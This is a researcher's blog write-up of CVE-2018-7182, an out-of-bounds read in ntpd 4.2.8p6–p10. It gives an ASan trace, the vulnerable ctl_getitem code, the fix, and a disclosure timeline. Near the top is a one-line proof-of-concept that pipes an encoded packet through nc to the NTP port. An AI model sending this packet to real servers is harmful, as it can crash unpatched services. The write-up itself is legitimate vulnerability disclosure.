_        _         _
    / |   ___| |_ ___ _| |
 _ / /   |   |  _| . | . |
|_|_/    |_|_|_| |  _|___|
                 |_|

2018-11-11

OOB read in ntpd - writeup on an old bug
========================================

This is just a short post on an old vuln I found, but cannot claim credit
for since someone else privatly reported it before I did. (see timeline
and proof below).

It is exactly because of situations like this that I'm happy I published
proof of discovery such that I at least can claim that I found it before
it was public knowledge.

The only new issue this blog posts brings is the POC exploit below.
Version from 4.2.8 p6 to p10 are affected.

The vuln is a simple missing bounds check resulting in OOB read.

Proof of concept exploit:

  echo
  "FgoAAgAAAAAAAAA5bm9uY2U9ZGEzZWI1MWViMDI4ODhkYTIwOTY0MTljLCBmcmFncz0zMiwgbGFkZHIAMTI3LjAuMC4xAAAA"
  | base64 -d | nc -u -q -v 127.0.0.1 123

ASan report:

  11 Jul 12:12:00 ntpd[23951]: ntpd 4.2.8p10@1.3728-o Tue Jul 11 09:26:17 UTC
  2017 (1): Starting
  11 Jul 12:12:00 ntpd[23951]: Command line: ntpd/ntpd -n -I lo -c
  /home/dude/resources/ntp.conf
  11 Jul 12:12:00 ntpd[23951]: proto: precision = 0.079 usec (-24)
  11 Jul 12:12:00 ntpd[23951]: switching logging to file /dev/null
  11 Jul 12:12:00 ntpd[23951]: Listen and drop on 0 v6wildcard [::]:123
  11 Jul 12:12:00 ntpd[23951]: Listen and drop on 1 v4wildcard 0.0.0.0:123
  11 Jul 12:12:00 ntpd[23951]: Listen normally on 2 lo 127.0.0.1:123
  11 Jul 12:12:00 ntpd[23951]: Listen normally on 3 lo [::1]:123
  11 Jul 12:12:00 ntpd[23951]: Listening on routing socket on fd #20 for
  interface updates
  =================================================================
  ==23951==ERROR: AddressSanitizer: heap-buffer-overflow on address
  0x60200000e736 at pc 0x556c30b60164 bp 0x7fff5c3cd700 sp 0x7fff5c3cd6f8
  READ of size 1 at 0x60200000e736 thread T0
      #0 0x556c30b60163 in ctl_getitem
  /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_control.c:3098
      #1 0x556c30b6e93d in read_mru_list
  /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_control.c:3974
      #2 0x556c30b6a2db in process_control
  /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_control.c:1299
      #3 0x556c30b96487 in receive
  /home/dude/projects/ntpd/p10/noinstru/ntpd/ntp_proto.c:660
      #4 0x556c30b5debf in ntpdmain
  /home/dude/projects/ntpd/p10/noinstru/ntpd/ntpd.c:1331
      #5 0x556c30b5df57 in main
  /home/dude/projects/ntpd/p10/noinstru/ntpd/ntpd.c:394
      #6 0x7f5b12b93b44 in __libc_start_main
  (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
      #7 0x556c30b35f18 (/home/dude/projects/ntpd/p10/noinstru/ntpd/ntpd+0x5cf18)

  0x60200000e736 is located 0 bytes to the right of 6-byte region
  [0x60200000e730,0x60200000e736)
  allocated by thread T0 here:
      #0 0x7f5b13ad39f6 in __interceptor_realloc
  (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x549f6)
      #1 0x556c30c175c7 in ereallocz
  /home/dude/projects/ntpd/p10/noinstru/libntp/emalloc.c:43

ANALYSIS
========

On line 3100 in ctl_getitem, the OOB read occure, as sp2 is dereferenced
after being incremented to point to beyond the allocated data (v->text).

ntpd/ntp_control.c:

  3002 /*
  3003  * ctl_getitem - get the next data item from the incoming packet
  3004  */
  3005 static const struct ctl_var *
  3006 ctl_getitem(
  3007   const struct ctl_var *var_list,
  3008   char **data
  3009   )
  3010 {
  3011   /* [Bug 3008] First check the packet data sanity, then search
  3012    * the key. This improves the consistency of result values: If
  3013    * the result is NULL once, it will never be EOV again for this
  3014    * packet; If it's EOV, it will never be NULL again until the
  3015    * variable is found and processed in a given 'var_list'. (That                                                                                                                                          
  3016    * is, a result is returned that is neither NULL nor EOV).
  3017    */ 
  3018   static const struct ctl_var eol = { 0, EOV, NULL };
  3019   static char buf[128];
  3020   static u_long quiet_until;
  3021   const struct ctl_var *v;
  3022   char *cp;
  3023   char *tp;
  3024 
  3025   /*
  3026    * Part One: Validate the packet state
  3027    */
  3028 
  3029   /* Delete leading commas and white space */
  3030   while (reqpt < reqend && (*reqpt == ',' ||
  3031           isspace((unsigned char)*reqpt)))
  3032     reqpt++;
  3033   if (reqpt >= reqend)
  3034     return NULL;
  3035 
  3036   /* Scan the string in the packet until we hit comma or
  3037    * EoB. Register position of first '=' on the fly. */
  3038   for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
  3039     if (*cp == '=' && tp == NULL)
  3040       tp = cp;
  3041     if (*cp == ',')
  3042       break;
  3043   }
  3044 
  3045   /* Process payload, if any. */
  3046   *data = NULL;
  3047   if (NULL != tp) {
  3048     /* eventually strip white space from argument. */
  3049     const char *plhead = tp + 1; /* skip the '=' */
  3050     const char *pltail = cp;
  3051     size_t      plsize;
  3052 
  3053     while (plhead != pltail && isspace((u_char)plhead[0]))
  3054       ++plhead;
  3055     while (plhead != pltail && isspace((u_char)pltail[-1]))
  3056       --pltail;
  3057     
  3058     /* check payload size, terminate packet on overflow */
  3059     plsize = (size_t)(pltail - plhead);
  3060     if (plsize >= sizeof(buf))
  3061       goto badpacket;
  3062 
  3063     /* copy data, NUL terminate, and set result data ptr */
  3064     memcpy(buf, plhead, plsize);
  3065     buf[plsize] = '\0';
  3066     *data = buf;
  3067   } else {
  3068     /* no payload, current end --> current name termination */
  3069     tp = cp;
  3070   }
  3071 
  3072   /* Part Two
  3073    *
  3074    * Now we're sure that the packet data itself is sane. Scan the
  3075    * list now. Make sure a NULL list is properly treated by
  3076    * returning a synthetic End-Of-Values record. We must not
  3077    * return NULL pointers after this point, or the behaviour would                                                                                                                                         
  3078    * become inconsistent if called several times with different
  3079    * variable lists after an EoV was returned.  (Such a behavior
  3080    * actually caused Bug 3008.)
  3081    */
  3082 
  3083   if (NULL == var_list)
  3084     return &eol;
  3085
  3086   for (v = var_list; !(EOV & v->flags); ++v)
  3087     if (!(PADDING & v->flags)) {
  3088       /* Check if the var name matches the buffer. The
  3089        * name is bracketed by [reqpt..tp] and not NUL
  3090        * terminated, and it contains no '=' char. The
  3091        * lookup value IS NUL-terminated but might
  3092        * include a '='... We have to look out for
  3093        * that!
  3094        */
  3095       const char *sp1 = reqpt;
  3096       const char *sp2 = v->text;
  3097
  3098       while ((sp1 != tp) && (*sp1 == *sp2)) {
  3099         ++sp1;
  3100         ++sp2;
  3101       }
  3102       if (sp1 == tp && (*sp2 == '\0' || *sp2 == '='))
  3103         break;
  3104     }

The issue was fixed by changing the affected code to:

  3145       /* [Bug 3412] do not compare past NUL byte in name */
  3146       while (   (sp1 != tp)
  3147              && ('\0' != *sp2) && (*sp1 == *sp2)) {
  3148         ++sp1;
  3149         ++sp2;


PROOF OF DISCOVERY
==================

  $ echo "FgoAAgAAAAAAAAA5bm9uY2U9ZGEzZWI1MWViMDI4ODhkYTIwOTY0MTljLCBmcmFncz0zMiwgbGFkZHIAMTI3LjAuMC4xAAAA" | base64 -d | sha256sum
  f4898586f8458b1d0a93219ee41711007d2b34792d32d61f991ee8c1fe6b820e  -

twitter.com/magnusstubman/status/952844326203256832


TIMELINE
========

2017-06-15 Yihan Lian, a security researcher of Qihoo 360 GearTeam, reported the vuln (private bug report)
2017-07-10 I reported the vuln (private bug report)
2017-07-13 Vendor inform me that bug was already filed
2018-01-15 I realized that I hadn't posted proof of discovery to twitter yet, and did so
2018-02-16 CVE-2018-7182 allocated
2018-02-27 Vendor publicly discloses the issue and provides a patch (ntp-4.2.8p11.tar.gz)



REFERENCES
==========

support.ntp.org/bin/view/Main/NtpBug3412
bugs.ntp.org/show_bug.cgi?id=3412
bugs.ntp.org/show_bug.cgi?id=3416
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7182
nvd.nist.gov/vuln/detail/CVE-2018-7182
exploit-db.com/exploits/45846